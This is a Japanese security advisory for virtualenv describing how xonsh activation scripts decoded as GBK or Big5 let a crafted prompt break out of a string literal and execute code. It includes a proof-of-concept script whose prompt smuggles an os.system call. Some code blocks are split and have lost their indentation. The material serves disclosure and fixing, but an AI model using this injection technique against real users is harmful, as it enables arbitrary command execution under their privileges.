virtualenv: Xonshの起動スクリプトにおけるリテラルの解釈は、スクリプトのデコードに使用するコーデックに依存する
## 概要
ユーザーから提供されたプロンプトテキストが、Xonshの起動スクリプトにおいて実行可能な構文として扱われる可能性があります。攻撃者は、virtualenvに渡される値を操作し、ユーザーがその環境を起動する必要があります。
## 影響範囲
Xonshは、UTF-8エンコードされた起動スクリプトを、GBKなどの古いマルチバイトエンコーディングを使用して読み込みます。印刷可能な非ASCIIバイトが、隣接する引用符の解釈方法に影響を与える可能性があります。この問題は、POSIX環境での起動に影響を与えます。他の起動方法には影響を与えません。
## 攻撃者が制御する入力
攻撃者は、virtualenvの引数として渡されるプロンプトまたは宛先データを制御します。ユーザーは、生成された起動スクリプトを後で実行します。
## 影響を受けるコード
関連するコードは、以下の場所にあります。
[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),
[UTF-8テンプレートライター](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).
## 仕組み
ジェネレーターは、`activate.xsh`をUTF-8で書き込みます。その`quote()`関数は`repr()`を使用しており、これにより、印刷可能な非ASCII文字がファイル内に残され、埋め込まれた引用符がバックスラッシュでエスケープされます。Xonshの`source`コマンドは、このファイルを`$XONSH_ENCODING`を使用して読み込みます。GBKまたはBig5の場合、UTF-8の`中`という文字のバイト列は`0xad`で終わり、これが次の`0x5c`(バックスラッシュ)と組み合わさって、1つの文字としてデコードされます。これにより、バックスラッシュが引用符のエスケープ機能を失います。このため、両方の種類の引用符を含むプロンプトが、Pythonの文字列リテラルを閉じ、起動時に実行されるステートメントを提供することができます。UTF-8でソースをデコードする場合、同じ値がリテラル内に保持されます。
## 再現方法と証拠
オリジナルスキャナの検出結果 `ANT-2026-PAUVP7YL` は、`activate_this.py` におけるこのバイトレベルの不具合を示しています。GBK環境下で `exec(open(file).read(), ...)` を使用して読み込まれた悪意のあるプロンプトによってマーカーが作成されましたが、UTF-8 や `runpy.run_path` では同様の現象は発生しませんでした。このアドバイザリで言及されている xonsh のパスは、その後のメンテナによるレビューで特定されました。
[PR #3432](https://github.com/pypa/virtualenv/pull/3432) は、xonsh のソースデコーディングの仕組みと、`quote()` を `ascii()` に変更する処理を示しています。`ascii()` は非ASCII文字をエスケープ文字として記述します。このリグレッションテストでは、生成された文字列をASCIIでエンコードし、GBKでデコードし、`ast.literal_eval` が元のプロンプトを返すことを確認しています。
この攻撃を実行するには、プロンプトまたは宛先値の制御、影響を受ける xonsh のソースエンコーディング、そして生成されたファイルの後の読み込みが必要です。オリジナルの `activate_this.py` の再現手順は、xonsh の実行を直接証明するものではありません。その結果は、別のレビューによるものです。既存の `activate.xsh` ファイルは、修正後、再生成する必要があります。
## 攻撃シーケンス
```mermaid
sequenceDiagram
participant A as プロンプトの提供者
participant V as virtualenv quote()
participant F as activate.xsh のバイト列
participant X as xonsh のソース
A->>V: 中にエスケープされた引用符とステートメントを含む文字列
V->>F: repr が UTF-8 で文字列を記述し、その後にバックスラッシュを追加
alt XONSH_ENCODING が UTF-8
F->>X: バックスラッシュはエスケープ文字として残る
X-->>A: プロンプトはデータとして残る
else XONSH_ENCODING が GBK または Big5
F->>X: デコーダがバックスラッシュを末尾のバイトとして消費
X->>X: 引用符が閉じ、ステートメントが実行される
end
Note over V,X: ascii() はASCIIバイトのみを出力し、文字列を保持する
```
## 再現に必要なファイル
以下のファイルは、`ANT-2026-PAUVP7YL` のスキャナレポートからのものです。これらは、スキャナイメージのコミット `a857a7823c73` に対してテストされました。 `repro` エントリーポイントは、`/tmp/repro.d` 以下の関連ファイルが期待されます。ユーザーIDを変更するケースでは、一時的なroot権限を持つコンテナが必要です。報告された動作が発生した場合、最後の出力行は `BUG` となります。これらのファイルは証拠として含まれており、このアドバイザリの更新のために再実行されていません。
**`repro`**
```text
#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree
work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"
# セットアップ:イメージに同梱されていない、zh_CN.GBK ロケールを設定します。
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}
# 攻撃者:ツールが --prompt としてリレーするテキスト
# ペイロードの " は repr() によって ' で区切られ、プロンプト自身の ' は \' と記述されます。
# 中 は UTF-8 では e4 b8 ad です。GBK では e4 b8 を1文字として読み込み、ad 5c、そしてそのバックスラッシュを次の文字として読み込みます。
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"
# ユーザー:virtualenv コマンドで環境を作成します。
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py を UTF-8 で読み込んだ結果: {prompt_line.decode('utf-8')}")
print(f"activate_this.py を GBK で読み込んだ結果: {prompt_line.decode('gbk')}")
assert not marker.exists(), "ペイロードが作成時に実行されました"
```
```
# trigger: 同じプログラムが環境を起動します。まずUTF-8セッションで、次にGBKセッションで。
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL UTF-8セッション: {control.stdout.strip()}; {marker} が存在するか: {ran_in_utf8_session}")
observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBKセッション: {observed.stdout.strip()}; {marker} が存在するか: {ran_in_gbk_session}")
# check: プロンプトはデータであり、どちらのセッションでも実行されるべきではありません。
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")
```
**`repro.d/activate_with_exec_open.py`**
```text
#!/usr/bin/env python3
# 使用方法: activate_with_exec_open.py ENV_DIR
# activate_this.pyのドキュメントに記載されている方法で仮想環境をアクティブにするプログラム。virtualenv 20.26.2以前のバージョンで使用されます。
import locale
import os
import sys
this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})
print(f"open() は {locale.getpreferredencoding(False)} としてデコードされ、VIRTUAL_ENV_PROMPT は {os.environ['VIRTUAL_ENV_PROMPT']}")
```
**`repro.d/install_gbk_locale.py`**
```text
#!/usr/bin/env python3
# 使用方法: install_gbk_locale.py LOCPATH
# `locale-gen zh_CN.GBK` と同じことを行います。このイメージにはglibcのlocaledefはありますが、文字コードマップやlocaleソースはありません。
import os
import subprocess
import sys
locpath = sys.argv[1]
os.makedirs(locpath)
```
```
charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
for trail in range(0x40, 0xFF):
try:
char = bytes([lead, trail]).decode("gbk")
except UnicodeDecodeError:
continue
charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
charmap_file.write("\n".join(charmap) + "\n")
# -c: ソースファイルにLC_TIME、LC_MONETARYなどが含まれていない場合、localedefはデフォルト値を設定し、警告を表示して1で終了します。そのため、以下の結果を確認してください。
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
sys.exit(f"zh_CN.GBK locale not usable: {codeset}")
```
**`repro.d/zh_CN_minimal.locale`**
```text
comment_char %
escape_char /
% glibcのlocale/zh_CNの代替として、ASCII文字クラスのみを使用します。重要なのは、-fオプションでlocaledefに渡される文字セット名であるGBKです。
LC_CTYPE
upper <U0041>..<U005A>
lower <U0061>..<U007A>
digit <U0030>..<U0039>
space <U0009>..<U000D>;<U0020>
cntrl <U0000>..<U001F>;<U007F>
punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>
xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>
blank <U0009>;<U0020>
END LC_CTYPE
LC_COLLATE
order_start forward
UNDEFINED
order_end
END LC_COLLATE
```
## 影響
影響を受けるアクティベーションは、ユーザーの権限でコマンドを実行する可能性があります。深刻度は高く、[GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2)で報告された生成スクリプトの脆弱性と同様です。この攻撃は、引数データの制御と、その後のユーザーアクティベーションを必要としますが、実行可能ファイルの置き換えや、アプリケーションデータの内容の制御は必要ありません。
## テストされたバージョン
提供された追加レビューでは、コマンド実行が、その作成者によって独立して確認されていると記載されています。実装レビューでは、ソースコードの検査と、リテラル値のチェックが修正されましたが、その脆弱性を再実行することはありませんでした。関連するアクティベーションのソースコードは、バージョン21.14.8と、upstream/mainのバージョン233359cbで同一です。開発者は、以前にバージョン21.14.8で報告された問題が検証されたことを確認しました。影響を受ける最初のバージョンは特定されていません。バージョン21.14.9で修正されました。
## 既知の対策
信頼できるプロンプトと宛先の値を使用してください。古いバージョンのxonshでは、UTF-8によるソースコードのデコードを使用してください。
virtualenv 21.14.9以降のバージョンで、環境を再作成してください。
## 影響を受けるバージョン
- [x] 問題は、virtualenv 21.14.8で再現されます。
## 貢献者
元の報告は、AnthropicのOSS Scannerによって、ANT-2026-PAUVP7YLとして提供されました。その後の開発者によるレビューで、残りのアクティベーションパスが特定されました。
## 追加の修正ブランチ
[PR #3411](https://github.com/pypa/virtualenv/pull/3411)も、パスやプロンプトに対してASCII文字のみを使用し、アクティベーション状態の変更も行っています。両方のブランチは、統合する際に、この引用ルールを維持する必要があります。
影響を受けるパッケージ:
- pip (Python) virtualenv: 影響を受けるバージョンは21.14.9未満、21.14.9で修正されました。